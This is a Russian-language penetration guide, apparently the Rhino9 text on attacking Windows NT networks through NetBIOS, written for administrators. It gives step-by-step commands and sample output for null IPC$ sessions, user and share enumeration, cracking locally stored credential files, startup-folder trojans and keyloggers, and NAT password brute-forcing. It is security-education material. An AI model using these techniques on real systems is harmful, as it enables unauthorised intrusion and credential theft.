Введение

Этот документ — попытка документировать технику и методы,
используемые в нападении на основанные на WindowsNT сети. Цель данного
документа состоит в том, чтобы научить администраторов и профессионалов
защиты  способам проникновения в NT-сети. Этот документ пытается следовать 
шагам классического текста «Как улучшить защиту вашего сайта вторжением
в него» , который написали  Dan Farmer и Wietse Venema.

Конечно, этот текст не будет содержать все известные методы вторжения
в NT. Мы попытались собрать текст, который Администраторы могли бы использовать
для изучения основных методов проникновения, чтобы проверить уязвимость
их собственных сетей. Администратор должен иметь хорошие знания относительно
того, как проникновения происходят и должен быть способен использовать
эти  знания чтобы далее защитить свою сеть.

Этот файл не предназначен для людей, которые  плохо знакомы с защитой
или технологиями организации сетей. Авторы предполагают, что люди, читающие
этот документ, имеют некоторое понимание протоколов, технологий и 
архитектуры сервера и сети.

Использование

Текст написан в процедурной манере. Мы очень подробно всё описали,
чтобы подойти как можно ближе к реальному вторжению. Большинство методов,
обсуждаемых в этом тексте, довольно просто выполнить, как только наступит
понимание того, как, что  и почему делается.

Документ разделен на 3 части: NetBIOS, WebServer, и Разное, каждая из
которых описывает различные методы сбора информации и методов проникновения.

Часть 1 — «NETBIOS»

Начальный шаг, который делает хакер, это сканирование портов целевой
машины или сети. Удивительно, как техника атаки может стать основанной
на открытых портах целевой машины. Вы должны понять, что это норма для
NT-машины, — иметь различные открытые порты с Unix-машиной. Как правило
хакер может по результатам сканирования портов сказать,  является
ли компьютер NT- или Unix-машиной с довольно точными результатами. Очевидно
имеются некоторые исключения из данного правила, но вообще это может быть
сделано.

При нападении на NT-сеть, NetBIOS имеет тенденцию брать главный удар
на себя. По этой причине, NetBIOS будет первой серьезной темой для обсуждения.

Сбор информации с NetBIOS может быть довольно простой вещью, хотя и
занимает некоторое время. NetBIOS вообще имеет тенденцию быть очень медленным,
поэтому и требует много времени.

Если при сканировании портов выясняется, что на целевой машине порт
139 открыт, следует естественный процесс. Первый шаг — выполнение команды
NBTSTAT.

Команда NBTSTAT может использоваться, чтобы сделать запрос сетевых машин
относительно NetBIOS информации. Это может также быть полезно для чистки
NetBIOS кэша и предзагрузки файла LMHOSTS. Эта команда может быть чрезвычайно
полезна при выполнении ревизий защиты. Результаты её выполнения могут иной
раз показать больше, чем вы могли бы подумать.

Использование: nbtstat [-a компьютер] [-A IP-адрес] [-c] [-n]
[-R] [-r] [-S] [-s] [интервал]

Ключи:

-a вывести таблицу имён удаленного компьютера по имени.

-A вывести таблицу имён удаленного компьютера по IP-адресу.

-c вывести удаленный кэш имён, включая адреса IP.

-n вывести локальные имена NetBIOS.

-r вывести имена, найденные передачей и через WINS.

-R произвести чистку и перезагрузить удаленный кэш таблицы имён.

-S вывести таблицу сеансов с целевым адресом IP.

-s вывести преобразования таблицы сеансов.

Заголовки столбца, произведенные NBTSTAT имеют следующие значения:

Input

     Число полученных байт.

Output

     Число отосланных байт.

In/Out

     Подключение от локального компьютера 
или от другой системы к

     локальному компьютеру.

Life

     Остающееся время до того, как ваш компьютер
очистит кэш таблицы имён.

Local Name

     Локальное NetBIOS имя, данное подключению.

Remote Host

     Имя или адрес IP удаленного главного компьютера.

Type

     Имя может иметь один из двух типов: уникальный
или группа.

     Последний байт из 16-символьного имени NetBIOS
часто означает кое-что потому что то же самое имя может присутствовать
в нескольких экземплярах  на том же самом компьютере. Это показывает
последний байт имени, преобразованный в hex-формат.

State

     Ваши NetBIOS подключения будут находиться
в одном из следующих «состояний»:

 

Состояние

Значение


Accepting

входящее подключение находится в процессе
Associated
Connected
Connecting
Disconnected
Disconnecting
Idle
Inbound 
Listening
Outbound
Reconnecting

Имеется образец фактического ответа команды NBTSTAT:

C:>nbtstat -A x.x.x.x

       NetBIOS Remote Machine Name
Table

   Name              
Type         Status


———————————————

DATARAT        <00> 
UNIQUE      Registered


R9LABS           
<00>  GROUP       Registered


DATARAT        <20> 
UNIQUE      Registered


DATARAT        <03> 
UNIQUE      Registered


GHOST            
<03>  UNIQUE      Registered


DATARAT        <01> 
UNIQUE      Registered

MAC Address = 00-00-00-00-00-00

Используя таблицу ниже, что вы можете сказать о компьютере ?

           Name                
Number    Type           
Usage


=========================================================================

<computername>           
00            
U         Workstation Service


<computername>           
01            
U         Messenger Service


<\_MSBROWSE_>       01            
G         Master Browser


<computername>           
03            
U         Messenger Service


<computername>           
06            
U         RAS Server Service


<computername>           
1F            
U         NetDDE Service


<computername>           
20            
U         File Server Service


<computername>           
21            
U         RAS Client Service


<computername>           
22            
U         Exchange Interchange


<computername>           
23            
U         Exchange Store


<computername>           
24            
U         Exchange Directory


<computername>           
30            
U         Modem Sharing Server
Service


<computername>           
31            
U         Modem Sharing Client
Service


<computername>           
43            
U         SMS Client Remote Control


<computername>           
44            
U         SMS Admin Remote Control
Tool


<computername>           
45            
U         SMS Client Remote Chat


<computername>           
46            
U         SMS Client Remote Transfer


<computername>           
4C            U        
DEC Pathworks TCPIP Service


<computername>           
52            
U         DEC Pathworks TCPIP Service


<computername>           
87            
U         Exchange MTA


<computername>           
6A            U        
Exchange IMC


<computername>           
BE            U        
Network Monitor Agent


<computername>           
BF            U        
Network Monitor Apps


<username>                    
03            U         
Messenger Service


<domain>                        
00            G         
Domain Name


<domain>                        
1B            U         
Domain Master Browser


<domain>                        
1C            G        
Domain Controllers


<domain>                        
1D            U        
Master Browser


<domain>                        
1E            G        
Browser Service Elections


<INet~Services>            
1C            G        
Internet Information Server


<IS~Computer_name>    00            
U         Internet Information
Server


<computername>           
[2B]          U         
Lotus Notes Server


IRISMULTICAST         [2F]          
G          Lotus Notes


IRISNAMESERVER     [33]         
G          Lotus Notes


Forte_$ND800ZA          
[20]           U         
DCA Irmalan Gateway Service

Unique (U): имя может иметь только один адрес IP, назначенный
для него. Может показаться, что на сетевом устройстве присутствуют многократные
случаи  одного и того же имени, но суффикс будет уникален, делая имя
также полностью уникальным.

Group (G): нормальная группа; одиночное имя может существовать
со многими адресами IP.

Multihomed (M): имя уникально, но из-за множественных сетевых
интерфейсов на одном и том же  компьютере, эта конфигурация необходима
чтобы разрешить регистрацию. Максимальное число адресов — 25.

Internet Groupt (I): это специальная конфигурация имени группы,
используемая для управления WinNT именами домена.

Domain Name (D): Новый в NT 4.0.

Хакер может использовать таблицу выше и результат от nbtstat против
ваших машин, чтобы начать собирать информацию относительно их. По этой
информации хакер может сказать, какие услуги выполняются на целевой машине
и иногда, какие пакеты программ были установлены. Традиционно, каждый сервисный
или главный пакет программ идет со своими ошибками, так что этот тип информации 
полезен для хакера.

Следующим логическим шагом был бы подбор возможных имён пользователей
удаленной машины. Сетевой вход в систему состоит из двух частей — имени
пользователя и пароля. Как только хакер имеет  правильный список имен
пользователей, он имеет половину из нескольких правильных входов в систему.
Теперь, используя команду nbtstat, хакер может получить  входное имя
любого, кто подключён локально к данной  машине. В результатах команды 
nbtstat, строки с идентификатором <03> — имена пользователей или имена
компьютеров. Подбор имён пользователей может также быть выполнен через
нулевой сеанс IPC и инструментальные средства SID (для получения дополнительной
информации относительно инструментальных средств SID читать приложение
B).

IPC$ (меж-процессовая связь)  — стандартный скрытый ресурс на NT
машине, которая главным образом используется для связи сервер-сервер. NT
машины были разработаны для соединений  друг с  другом и получения
различных типов необходимой информации через этот ресурс. Как и со многими
особенностями проекта в любой операционной системе, хакеры научились использовать
эту особенность в их собственных целях. Соединяясь с этим ресурсом хакер
получает, для всех технических целей, допустимое подключение к вашему серверу.
Соединяясь с этим ресурсом как нулевое соединение, хакер способен установить 
подключение без необходимой аутентификации.

Чтобы соединиться с ресурсом IPC$ как нулевое соединение, хакер выполняет
следующую команду:

c:>net use \[ip address of target machine]ipc$ «» /user:»»

Если подключение успешно, хакер может делать множество других вещей,
кроме как подбор  имён пользователей, но давайте сначала поговорим
именно об этом. Как упомянуто ранее, эта методика требует нулевого сеанса
IPC и инструментальных средств SID, которые написал  Evgenii Rudnyi.
Инструментальные средства SID состоят из двух различных частей, User2sid
и Sid2user. User2sid будет брать имя аккаунта или группы и давать Вам соответствующий
SID. Sid2user будет брать SID и давать Вам имя соответствующего пользователя
или группы. Как автономный инструмент, это — процесс ручной и очень требует
время. Userlist.pl — perl скрипт, написанный Mnemonix, который автоматизирует
этот процесс размола SID, он решительно сокращает  время,  трубующееся
хакеру на подбор информации.

На данном этапе хакер знает какие услуги выполняются на удаленной машине,
какие главные пакеты программ были установлены (в некоторых пределах),
и имеет список правильных имён пользователей и групп для данной машины.
Хотя это может походить на тонну информации для постороннего, чтобы иметь
её относительно вашей сети, нулевой сеанс IPC открыл другие способы сбора
информации. Группа Rhino9 разработала полную  политику защиты для
удаленной машины. Такие вещи, как блокировка аккаунта, минимальная длина
пароля, возраст пароля, уникальность пароля для каждого пользователя и
группы, которой он принадлежит, и индивидуальные ограничения домена для
данного пользователя — все через нулевой сеанс IPC. Некоторые из доступных
инструментальных средств для  сбора большего количества информации
через нулевой сеанс IPC, будут обсуждены ниже.

При помощи нулевого сеанса IPC хакер может также получить список сетевых
ресурсов, которые не могут иначе быть доступны. По очевидным причинам,
хакер хотел бы знать то, какие сетевые ресурсы Вы имеете доступными на
ваших машинах. Для  сбора такой информации используется стандартная
сетевая команда следующим образом:

c:>net view \[IP-адрес целевой машины]

В зависимости от политики защиты целевой машины, этот список может или
не может быть отклонен. Пример ниже (ip-адрес не был указан по очевидным
причинам):

C:>net view \0.0.0.0

System error 5 has occurred.

В доступе отказано.

C:>net use \0.0.0.0ipc$ «» /user:»»

The command completed successfully.

 

C:>net view \0.0.0.0

Shared resources at \0.0.0.0

 

Share name          
Type         Used as  Comment


——————————————————————————-

Accelerator           
Disk                 
Agent Accelerator share for Seagate backup


Inetpub                  
Disk


mirc                       
Disk


NETLOGON         Disk                 
Logon server share


www_pages           
Disk

Команда выполнилась успешно.

Как Вы можете видеть, список ресурсов на этом сервере не был доступен,
пока не был установлен нулевой сеанс IPC. Теперь вы начинаете понимать, 
насколько может быть опасно это подключение IPC, но методы IPC, известные 
нам, фактически самые основные. Возможности, предоставленные ресурсом IPC, 
только начинают исследоваться.

Выпуск WindowsNT 4.0 Resource Kit предоставил новый набор инструментальных
средств, доступных и администратору, и хакеру. Ниже — описание некоторых
из Resource Kit Utilities, которые группа Rhino9 использовала вместе с
нулевым сеансом IPC$ для сбора информации. Читая эти описания инструментов
и информацию, которую  они выдают, имейте в виду, что нулевой сеанс,
который используется, НЕ обеспечивает удалённую сеть любой реальной аутентификацией.

UsrStat: эта утилита командной строки показывает имя пользователя,
полное имя, и дату и время последнего входа в систему для каждого пользователя
в данном домене. Ниже — фактический результат работы данного инструмента,
используемого через нулевой сеанс IPC против удалённой сети:

C:NTRESKIT>usrstat domain4

Users at \STUDENT4

Administrator —                  
— logon: Tue Nov 17 08:15:25 1998


Guest —                              
— logon: Mon Nov 16 12:54:04 1998


IUSR_STUDENT4 —         
Internet Guest Account — logon: Mon Nov 16 15:19:26 1998


IWAM_STUDENT4 —       Web Application
Manager account — logon:   Never


laurel —                               
— logon:        Never


megan —                             
— logon:        Never

Чтобы полностью понять, что происходит при сборе данных, давайте обсудим
это. Прежде, чем фактическое нападение имело место, отображение было помещено
в файл lmhosts, который отобразил Student4 машину, и это — состояние деятельности
домена, используя #PRE/#DOM теги (объяснены более подробно ниже.). Вход
был тогда предзагружен в NetBIOS кэш, и нулевой сеанс IPC был установлен.
Как Вы можете видеть, команда запущена против имени домена. Инструмент
тогда сделает запрос Первичного Контроллера Домена для данного домена.

Global: эта утилита командной строки отображает членов глобальных
групп на удаленных серверах или доменах. Как сказано выше, эта утилита
используется вместе с отображением Lmhosts/IPC. Ниже —  фактический
сбор данных данного инструмента. Например, «пользователи домена» — стандартная,
заданная по умолчанию группа, присутствующая в WindowsNT домене. Для этого
примера, мы использовали инструмент, чтобы сделать запрос Domain1 для листинга
всех пользователей в группе «пользователи домена».

C:>global «Domain Users» domain1

Bob

SPUPPY$

BILLY BOB$

Bill

IUSR_BILLY BOB

IWAM_BILLY BOB

IUSR_SPUPPY

IWAM_SPUPPY

Local: этот инструмент делает то же, что и Global, но  он
делает запрос машины на членов локальной группы вместо глобальной. Ниже
— пример работы данного инструмента:

C:>local «administrators» domain1

Bob

Domain Admins

Bill

NetDom:  инструмент, который сделает запрос сервера о его
роли в домене, а также на PDC машины. Этот инструмент также работает с
отображением Lmhosts/IPC. Ниже —  стандартный вывод данного инструмента:

Querying domain information on computer \SPUPPY …

The computer \SPUPPY is a domain controller of DOMAIN4.

Searching PDC for domain DOMAIN4 …

Found PDC \SPUPPY

The computer \SPUPPY is the PDC of DOMAIN4.

NetWatch:  инструмент, выдающий список ресурсов на удаленной
машине. Опять же, этот инструмент работает с отображением Lmhosts/IPC.
Плохая вещь относительно этого инструмента состоит в том, что группа Rhino9
имеет обыкновение использовать его для поиска списка скрытых ресурсов на
удаленной машине.

Пустое подключение IPC может позволить хакеру  получить доступ
к вашему системному реестру. Как только нулевой сеанс IPC был установлен,
хакер запустит его локальную утилиту regedit и сделает попытку опции Connect
Network Registry. Если это произойдёт успешно, хакер получит доступ для
чтения на некоторые ключи и потенциально — на чтением/запись. Но даже доступ
для чтения к системному реестру нежелателен с точки зрения защиты.

Другая методика относительно неизвестна и часто не приносит никаких
результатов. Мы охватываем её потому что она всё же может давать результаты,
и  может быть эффективной методикой вторжения. Эта методика включает
нулевой сеанс IPC и входы в LMHOSTS файл. LMHOSTS файл — (обычно) локальный
файл, живущий на Windows-машинах, для отображения имён NetBIOS в адреса
IP. Используемый главным образом в  не-WINS средах, или на клиентах,
неспособных использовать WINS, файл LMHOSTS  может использоваться
хакерами многими различными способами. Различные использования для файла
LMHOSTS будут обсуждены позже в этом тексте, пока мы обсудим, как LMHOSTS
файл используется в этой методике.

Это превосходная методика для обсуждения, потому что она показывает
использование одного из предыдущих методов вместе с ней для выполнения
цели. Начиная со сканирования портов, и обнаруживая, что порт 139 является
открытым, хакер  запускает команду nbtstat. Потом хакер подбирает
имя NetBIOS удаленной машины по результатам nbtstat. Давайте посмотрим 
на такой же пример результатов работы nbtstat, как и выше:

C:>nbtstat -A x.x.x.x

       NetBIOS Remote Machine Name
Table

   Name              
Type         Status


——————————————————————

DATARAT        <00> 
UNIQUE      Registered


R9LABS           
<00>  GROUP       Registered


DATARAT        <20> 
UNIQUE      Registered


DATARAT        <03> 
UNIQUE      Registered


GHOST            
<03>  UNIQUE      Registered


DATARAT        <01> 
UNIQUE      Registered

MAC Address = 00-00-00-00-00-00

Исследуя результаты команды nbtstat, мы ищем идентификатор  <03>.
Если кто-то локально находится в машине, Вы будете видеть два <03> идентификатора.
Обычно первый <03>  — имя netbios машины, а второй <03> — имя
локального пользователя. На данном этапе хакер поместил бы имя netbios
и отображение адреса ip машины в его локальный LMHOSTS файл, закончив его
тегами #DOM и #PRE. Тег #PRE обозначает, что вход должен быть предзагружен
в netbios кэш. Тег #DOM обозначает деятельность домена. Теперь хакер запускает
команду nbtstat -R чтобы произвести предзагрузку входа в его кэш.

Затем хакер устанавливает нулевой сеанс IPC. Как только нулевой сеанс
IPC  будет установлен, хакер запустит его локальную копию Менеджера
Пользователя для доменов и использует функцию Select Domain в Менеджере
Пользователя. Домен  удаленной машины появится (или может быть напечатан
вручную) потому что он был предзагружен в кэш. Если защита удаленной машины
слаба, Менеджер Пользователя отобразит список всех пользователей на удаленной
машине. Если это делается по медленной связи (то есть 28.8-модем) это не
будет обычно работать. На более быстрых сетевых подключениях, однако, это
имеет тенденцию давать результаты.

Теперь, когда хакер собрал некоторую информацию относительно вашей машины,
следующим шагом будет попытка проникновения. Первый метод проникновения,
который будет обсуждён, будет нападение на ресурс открытого файла. Хакер
соединит предварительно обсужденную команду net view с командой  net
use для выполнения данной атаки.

Взяв  net view выше, давайте обсудим атаку.

C:>net view \0.0.0.0

Shared resources at \0.0.0.0

 

Share name      Type        
Used as  Comment

——————————————————————————-

Accelerator      Disk                 
Agent Accelerator share for Seagate backup


Inetpub            
Disk


mirc                 
Disk


NETLOGON   Disk                 
Logon server share


www_pages      Disk

The command completed successfully.

Как только хакер имеет список удаленных ресурсов, он  попытается
подсоединиться к удаленному ресурсу. Пример  команды для атаки был
бы:

c:>net use x: \0.0.0.0inetpub

Это нападение будет работать только если ресурс не защищён паролем,
или разделён между каждой группой (ПРИМЕЧАНИЕ: «каждой» означает именно
«каждой». То есть, если кто-то соединяется нулевым сеансом, он теперь —
часть  каждой группы.). Если эти параметры имеют место, хакер способен
подключить сетевой диск к вашей машине и начать проникновение. Имейте в
виду, что хакер не ограничен только лишь соединением с дисковыми ресурсами.
Хакер, знающий NT, знает, что NT имеет скрытые административные ресурсы.
По умолчанию, NT создает ресурс IPC$ и один скрытый ресурс для каждого
диска на машине (то есть машина, которая имеет диски C, D, и  E имеет
соответствующие скрытые ресурсы C$, D$, и E$). Имеется также скрытый ADMIN$
ресурс, который указывает непосредственно на инсталляционный путь NT 
(то есть, если Вы установили NT на C:winnt, то  ADMIN$ указывает 
точно на эту часть диска). Одна вещь, которую группа Rhino9  заметила
относительно большинства NT сообщества защиты, состоит в том, что они,
кажется,  забыли о концепции проникновения через одну внутреннюю NT
машину в другую внутреннюю NT машину. Группа Rhino9, в течение наших профессиональных
ревизий, выполнила эту задачу много раз. Если хакер умён и имеет доступ
к одной из ваших машин, он может написать саморазмножающийся вирус и пустить
его в остальную часть вашей сети. По этой причине, эти нападения могут
представлять серьезную угрозу.

(Обратите внимание, с  группой Rhino9  однажды входили в контакт,
чтобы выполнить удаленную ревизию проникновения для одного самого большого
ISP во Флориде. Мы получили доступ к ресурсу на одной из персональных машин
техника, и оттуда получили доступ к полной сети. Это может быть сделано.)

Сначала, может быть, не видно опасности от кого-то, кто имеет доступ
к вашему жесткому диску. Но доступ к жесткому диску открывает новые направления
для сбора информации и установки трояна/вируса. Хакер обычно ищет кое-что,
что могло бы  содержать пароль или важные данные, что он мог бы использовать,
чтобы продолжть рыть путь в вашу сеть. Некоторые из файлов, которые хакер
будет искать и использовать,  перечислены ниже, каждый с  кратким
описанием, чем это является, и как это можно использовать.

Eudora.ini: этот файл используется для хранения информации о
конфигурации  программного обеспечения для e-mail Eudora. Легко доступный
инструмент, называемый eudpass.com, извлечет имя пользователя  и информацию
пароля,  также как всю информацию, необходимую хакеру для подслушивания
почты пользователей. Теперь хакер может сконфигурировать его собственное
программное обеспечение для электронной почты, чтобы читать почту адресатов.
Помните, что люди — существа привычки. Шансы, что пароль пользователя электронной
почты является тем же самым паролем, который он использует для входа в
сеть на работе, относительно высоки.

Tree.dat: это файл, который используется популярным программным
обеспечением CuteFTP для хранения комбинации пользователей ftp site/username/password.
Используя программу по имени FireFTP, хакер может легко взломать tree.dat
файл. Как уже говорилось выше, хакер может продолжить сбор информации относительно
Вас и начать атаку.

PWL: эти файлы  проживают на Win95-машинах. Они используются,
чтобы хранить определенные пароли для Windows95 конечного пользователя.
Инструмент, называемый glide.exe взломает (с меньшей, чем хотелось бы эффективностью)
PWL файлы. Имеется также документация о том, как вручную взломать кодирование
этих PWL файлов, используя калькулятор. Продолжая сценарий, хакер 
продолжит собирать информацию относительно пользователя и формулировать
нападение.

PWD: PWD файлы существуют на машинах, выполняющих FrontPage или
Персональный Webserver. Эти файлы включают имя пользователя открытым текстом
и зашифрованный пароль, соответствующий аутентификации, необходимой, чтобы
управлять website. Схема кодирования, используемая для этих паролей — стандартная
DES-схема. Для взламывания DES существует много утилит, например John the
ripper.

WS_FTP.ini: этот ini файл существует на машинах, использующих
ws_ftp. Хотя автоматизированное эксустройство подачи пароля для этого файла
только недавно было представлено в сообщество защиты, используемый механизм
кодирования не очень силен. Пароль преобразован в шестнадцатиричный формат.
Если цифра — в позиции N, то N добавлен к цифре. Полностью измените процесс,
и Вы взломали эту схему кодирования. (Это, как известно,  иногда работает
для взламывания PMail.ini — Pegasus Mail и Prefs.js — Netscape.)

IDC files: IDC  файлы обычно используются для связности
конца к базам данных от webserver. Потому как этот тип подключения вообще
требует идентификации, некоторые IDC файлы содержат комбинации имени пользователя/пароля,
часто открытым текстом.

Waruser.dat: это один из файлов конфигурации для WarFTP, популярного
Win32 FTP сервера. Этот специфический dat файл может содержать административный
пароль непосредственно для FTP сервера.

$winnt$.inf: В течение автоматической инсталляции WindowsNT,
процесс установки требует информационных файлов. Как остаток этого автоматического
инсталляционного процесса, файл, называемый $winnt$.inf, может существовать
в каталоге  %systemroot%system32. Этот файл может содержать имя пользователя
и комбинацию пароля аккаунта, которая использовалась в течение инсталляции.

Sam _: хотя давно известно, что база данных SAM может представлять
проблему, если она попала в неправильные руки, много людей забывают об
этом. Много потенциальных хакеров спросили себя, как они могли бы скопировать
базу данных SAM, если они могли бы установить диск поперек сети. Хорошо,
обычно это не возможно, потому что NT сервер, с которым Вы связаны, 
выполняется, и в то время как он выполняется, он блокирует SAM. Однако,
если администратор создал резервный  диск, копия SAM должна быть расположена
в каталоге %systemroot%repair. Этот файл будет назван Sam _. Эта копия
по умолчанию  доступна для чтения каждому. Используя копию утилиты
samdump, Вы можете извлечь комбинации имени пользователя/пароля из скопированного
SAM.

ExchVerify.log: файл ExchVerify.log создан Cheyenne/Innoculan/ArcServe.
Обычно создаваемый инсталляцией программного обеспечения Cheyenne/Innoculan/ArcServe,
этот файл проживает в корне диска —  где программная инсталляция имела
место. Этот файл может содержать чрезвычайно важную информацию, как показано
ниже:

<EXCH-VERIFY>: ExchAuthenticate() called with

NTServerName:[SAMPLESERVER]

NTDomainName[SAMPLESERVER] adminMailbox:[administrator]

adminLoginName:[administrator]

password:[PASSWORD]

Само собой разумеется, файл содержит информацию, которую хакер может
легко использовать, чтобы  поставить под угрозу целостность вашей
сети.

Profile.tfm: файл Profile.tfm, который создан программным обеспечением
AcornMail, клиентом POP3. При написании этого документа, AcornMail начал
получать много внимания от сообщества интернета. После осмотра программного
обеспечения, мы нашли, что это — эффективный POP3 клиент, но инсталляция
не NTFS дружественная. После инсталляции программного обеспечения, мы начали
проверять файлы,  созданные AcornMail. Мы нашли, что файл Profile.tfm
содержит комбинацию имени пользователя/пароля. Сначала, мы решили, что 
программное обеспечение было вполне ok, потому что оно действительно хранило
пароль в зашифрованном состоянии. Но потом мы  поняли, что разрешения
на файле profile.tfm были установлены в полный доступ для каждого. Это
создаёт проблемы, потому что любой может получить копию файла и включить
этот файл в свою собственную инсталляцию AcornMail. Тогда хакер войдет
в систему с сохраненной информацией. Ниже — сбор данных только при помощи
Network Monitor.

00000000  00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg………E.

00000010  00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=….b.S.6

00000020  DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 …n.D…..2Q.P.

00000030  22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F «8d…+OK.Passwo

00000040  72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.

00000050  68 6B 69 72 6B 2E 0D 0A                                     
jjohn…


00000000  98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ……..pLg…E.

00000010  00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@….A.6…b

00000020  C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q…..P.

00000030  21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !…..PASS.xerox

00000040  37 33 0D 0A                                    
63..

Как Вы можете видеть, имя пользователя/пароль действительно пропускаютчистым
текстом. Это не ошибка AcornMail.

Теперь, когда мы обсудили файлы,  которые хакер может желать приобрести,
если он получает доступ к вашему жесткому диску, давайте обсудим Троянскую
установку. Если и есть  одна вещь, которая может получить для хакера
тонну информации, то это — троянская установка. Нападение на ресурс открытого
файла вообще делает троянскую установку чрезвычайно лёгкой. Один из самых
легких и наиболее информативных троянов — утилита PWDUMP, обернутая в пакетном
файле. Если всё подготовлено правильно, пакетный файл выполнится свернутым,
выполнит утилиту PWDUMP, удалит её после того, как она выполнила ее задачу,
и наконец сотрёт себя.

Правила: адресат должен быть NT машиной, и конечный пользователь, выполняющий
трояна должен быть администратором, так что хакер помещает пакетный файл
в папку запуска Администраторов и ждет. Следующий раз, когда Администратор
войдет в машину, пакетный файл выполняется и собирает комбинации имени
пользователя/пароля. Тогда хакер соединяется снова с машиной через совместное
использование файла и забирает результаты.

Другое хорошее нападение, которое хакер может попробовать, — это размещение
пакета keylogger в папке запуска. Это может обычно делаться любым пользователем,
не только администратором. Он соберет все нажатия клавиш  пользователя,
кроме начальных реквизитов входа в систему (из-за архитектуры NT, которая
останавливает все процессы режима пользователя в течение входа в систему).
Потом хакер соединяется снова с целевой машиной в более позднее время и
забирает зарегистрированные нажатия клавиш.

Как предотвратить подобные нападения ? Не использовать  элементы, 
доступные каждой группе,  разрабатывать сильные схемы пароля в вашей
среде. Если хакер натолкнется на сервер, который запрашивает его относительно
аутентификации на каждом повороте, возможно что хакер отстанет. Хотя большинство
хакеров продолжит атаку с применением грубой силы.

Несомненно наиболее обычный инструмент для грубой силы NetBIOS-нападения
— это NAT. NAT  позволит пользователю автоматизировать сетевые команды
подключения, использующие список возможных имен пользователя и паролей.
NAT будет пытаться соединяться с удаленной машиной, используя каждое имя
пользователя и каждый пароль в обеспеченных списках. Это может быть длинный
процесс, но часто хакер будет использовать сокращенный список обычных паролей
и иногда это выходит. Хакер создаст свой список из имен пользователя, 
используя информацию, собранную методами, обсужденными выше. Список пользователей,
который хакер будет использовать, будет также создан из подбираемой информации.

Хакер может задать конкретный IP-адрес для атаки или он может задать
полный диапазон адресов IP. NAT будет старательно работать, чтобы выполнить
задачу, все время выдавая сформированные сообщения.

Ниже — фактический файл результатов реального нападения NAT. Хотя разрешение
на это нападение было дано, адрес IP был изменен, чтобы защитить адресата.

[*]— Reading usernames from userlist.txt

[*]— Reading passwords from passlist.txt

[*]— Checking host: 0.0.0.0

[*]— Obtaining list of remote NetBIOS names

[*]— Attempting to connect with name: *

[*]— Unable to connect

[*]— Attempting to connect with name: *SMBSERVER

[*]— CONNECTED with name: *SMBSERVER

[*]— Attempting to connect with protocol: MICROSOFT NETWORKS 1.03

[*]— Server time is Tue Oct 14 11:33:46 1997

[*]— Timezone is UTC-4.0

[*]— Remote server wants us to encrypt, telling it not to

[*]— Attempting to connect with name: *SMBSERVER

[*]— CONNECTED with name: *SMBSERVER

[*]— Attempting to establish session

[*]— Was not able to establish session with no password

[*]— Attempting to connect with Username: `ADMINISTRATOR’ Password:
`ADMINISTRATOR’


[*]— Attempting to connect with Username: `ADMINISTRATOR’ Password:
`GUEST’


[*]— Attempting to connect with Username: `ADMINISTRATOR’ Password:
`ROOT’


[*]— Attempting to connect with Username: `ADMINISTRATOR’ Password:
`ADMIN’


[*]— Attempting to connect with Username: `ADMINISTRATOR’ Password:
`PASSWORD’


[*]— CONNECTED: Username: `ADMINISTRATOR’ Password: `PASSWORD’

[*]— Obtained server information:

Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]

[*]— Obtained listing of shares:

 Sharename      Type     
Comment


 ———      —-     
——-


 ADMIN$         Disk:    
Remote Admin


 C$            
Disk:     Default share


 D$            
Disk:     Default share


 E$            
Disk:     Default share


 HPLaser4       Printer: 
HP LaserJet 4Si


 IPC$          
IPC:      Remote IPC


 NETLOGON       Disk:    
Logon server share


 print$         Disk:    
Printer Drivers

[*]— This machine has a browse list:

 Server              
Comment


 ———           
——-


 AENEMA

 

[*]— Attempting to access share: \*SMBSERVER

[*]— Unable to access

[*]— Attempting to access share: \*SMBSERVERADMIN$

[*]— WARNING: Able to access share: \*SMBSERVERADMIN$

[*]— Checking write access in: \*SMBSERVERADMIN$

[*]— WARNING: Directory is writeable: \*SMBSERVERADMIN$

[*]— Attempting to exercise .. bug on: \*SMBSERVERADMIN$

[*]— Attempting to access share: \*SMBSERVERC$

[*]— WARNING: Able to access share: \*SMBSERVERC$

[*]— Checking write access in: \*SMBSERVERC$

[*]— WARNING: Directory is writeable: \*SMBSERVERC$

[*]— Attempting to exercise .. bug on: \*SMBSERVERC$

[*]— Attempting to access share: \*SMBSERVERD$

[*]— WARNING: Able to access share: \*SMBSERVERD$

[*]— Checking write access in: \*SMBSERVERD$

[*]— WARNING: Directory is writeable: \*SMBSERVERD$

[*]— Attempting to exercise .. bug on: \*SMBSERVERD$

[*]— Attempting to access share: \*SMBSERVERE$

[*]— WARNING: Able to access share: \*SMBSERVERE$

[*]— Checking write access in: \*SMBSERVERE$

[*]— WARNING: Directory is writeable: \*SMBSERVERE$

[*]— Attempting to exercise .. bug on: \*SMBSERVERE$

[*]— Attempting to access share: \*SMBSERVERNETLOGON

[*]— WARNING: Able to access share: \*SMBSERVERNETLOGON

[*]— Checking write access in: \*SMBSERVERNETLOGON

[*]— Attempting to exercise .. bug on: \*SMBSERVERNETLOGON

[*]— Attempting to access share: \*SMBSERVERprint$

[*]— WARNING: Able to access share: \*SMBSERVERprint$

[*]— Checking write access in: \*SMBSERVERprint$

[*]— WARNING: Directory is writeable: \*SMBSERVERprint$

[*]— Attempting to exercise .. bug on: \*SMBSERVERprint$

[*]— Attempting to access share: \*SMBSERVERROOT

[*]— Unable to access

[*]— Attempting to access share: \*SMBSERVERWINNT$

[*]— Unable to access

Если Вы изучите результаты, Вы можете ясно видеть сообщение CONNECTED,
которое сообщает хакеру, что инструмент нашел правильную комбинацию имени
пользователя/пароля. Теперь хакер может  вручную  соединиться 
с этой машиной, используя недавно найденную комбинацию имени пользователя/пароля
и начать свою атаку.

Это конец раздела об удаленном проникновении через NetBIOS. Имейте в
виду, что методы, обсужденные выше не являются ни статическими, ни автономными.
Хакер, потративший время на изучение проникновения в NT-сети,  станет
чрезвычайно творческим и будет использовать не только методы выше, но и 
персональные разновидности этих методов.

 

